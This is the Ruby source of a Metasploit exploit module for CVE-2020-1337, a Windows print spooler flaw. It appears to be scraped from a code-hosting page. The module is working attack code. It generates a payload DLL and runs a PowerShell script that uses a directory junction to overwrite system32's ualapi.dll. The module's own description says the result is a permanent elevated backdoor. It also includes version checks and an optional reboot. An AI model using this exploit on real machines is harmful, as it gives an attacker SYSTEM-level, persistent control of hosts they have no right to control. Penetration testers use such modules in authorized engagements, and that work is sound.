Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/cve_2020_1337_printerdemon.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'msf/core/post/windows/powershell'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::Common11include Msf::Post::File12include Msf::Post::Windows::Priv13include Msf::Post::Windows::Version14include Msf::Exploit::EXE15include Msf::Post::Windows::Powershell1617prepend Msf::Exploit::Remote::AutoCheck1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',24'Description' => %q{25This exploit leverages a file write vulnerability in the print spooler service26which will restart if stopped. Because the service cannot be stopped long27enough to remove the dll, there is no way to remove the dll once28it is loaded by the service. Essentially, on default settings, this module29adds a permanent elevated backdoor.30},31'License' => MSF_LICENSE,32'Author' => [33'Peleg Hadar', # Original discovery34'Tomer Bar', # Original discovery35'404death', # PoC36'sailay1996', # PoC37'bwatters-r7' # msf module38],39'Platform' => ['win'],40'SessionTypes' => ['meterpreter'],41'Targets' => [42[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]43],44'DefaultTarget' => 0,45'DisclosureDate' => '2019-11-04',46'References' => [47['CVE', '2020-1337'],48['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'],49['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],50['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']51],52'Notes' => {53'Stability' => [CRASH_SAFE],54'Reliability' => [],55'SideEffects' => [56IOC_IN_LOGS,57ARTIFACTS_ON_DISK58]59},60'DefaultOptions' => {61'DisablePayloadHandler' => true62},63'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ],64'Compat' => {65'Meterpreter' => {66'Commands' => %w[67powershell_execute68stdapi_sys_config_getenv69stdapi_sys_power_exitwindows70]71}72}73)74)7576register_options([77OptString.new('JUNCTION_PATH',78[false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]),79OptString.new('DESTINATION_PATH',80[false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]),81OptString.new('DESTINATION_FILE',82[false, 'Filename to overwrite (ualapi.dll by default).', nil]),83OptString.new('PRINTER_NAME',84[true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]),85OptBool.new('RESTART_TARGET',86[false, 'Restart the target after exploit (you will lose your session until a second reboot).', false])87])88end8990def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload)91# Read in Generic Script92script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1')93fail_with(Failure::BadConfig, 'No exploit script found') if script.nil?9495# Replace Values in Generic Script96vprint_status('Replacing variables')97junction_filepath = "#{junction_path}\\#{destination_file}"98# The random string appears to be required when using the psh_exec99# It may be due to the way we break apart the script?100# I would not be upset to find the root cause and fix it.101script.gsub!('JUNCTION_FILEPATH', junction_filepath)102script.gsub!('PRINTER_NAME', printer_name)103script.gsub!('JUNCTION_PATH', junction_path)104script.gsub!('DESTINATION_PATH', destination_path)105script.gsub!('B64_PAYLOAD_DLL', b64_payload)106107# Run Exploit Script108print_status("Running Exploit on #{sysinfo['Computer']}")109begin110# client.powershell.execute_string(code: script)111session.powershell.execute_string({ code: script })112rescue Rex::TimeoutError => e113elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)114print_error('Caught timeout. Exploit may be taking longer or it may have failed.')115end116end117118def exploit119if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty?120win_dir = session.sys.config.getenv('windir')121destination_path = "#{win_dir}\\system32"122else123destination_path = datastore['DESTINATION_PATH']124end125if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty?126destination_file = 'ualapi.dll'127else128destination_file = datastore['DESTINATION_FILE']129end130if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty?131junction_path = "#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}"132else133junction_path = datastore['JUNCTION_PATH']134end135client.core.use('powershell') if !client.ext.aliases.include?('powershell')136printer_name = datastore['PRINTER_NAME']137payload_dll = generate_payload_dll138139# Check target140vprint_status('Checking Target')141validate_active_host142validate_payload143144# Run the exploit145_output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))146sleep(3) # make sure exploit is finished147148# Reboot, if desired149if datastore['RESTART_TARGET']150sleep(10)151vprint_status("Rebooting #{sysinfo['Computer']}")152begin153session.sys.power.reboot154rescue Rex::TimeoutError => e155elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)156print_error('Caught timeout. Exploit may be taking longer or it may have failed.')157end158end159end160161def validate_active_host162print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")163rescue Rex::Post::Meterpreter::RequestError => e164elog('Could not connect to session', error: e)165raise Msf::Exploit::Failed, 'Could not connect to session'166end167168def validate_payload169vprint_status("Target Arch = #{sysinfo['Architecture']}")170vprint_status("Payload Arch = #{payload.arch.first}")171unless payload.arch.first == sysinfo['Architecture']172fail_with(Failure::BadConfig, 'Payload arch must match target arch')173end174end175176def check177version = get_version_info178vprint_status("OS version: #{version}")179return Exploit::CheckCode::Appears if version.build_number.between?(Msf::WindowsVersion::Win10_InitialRelease, Msf::WindowsVersion::Win10_1909)180181return Exploit::CheckCode::Safe182end183end184185186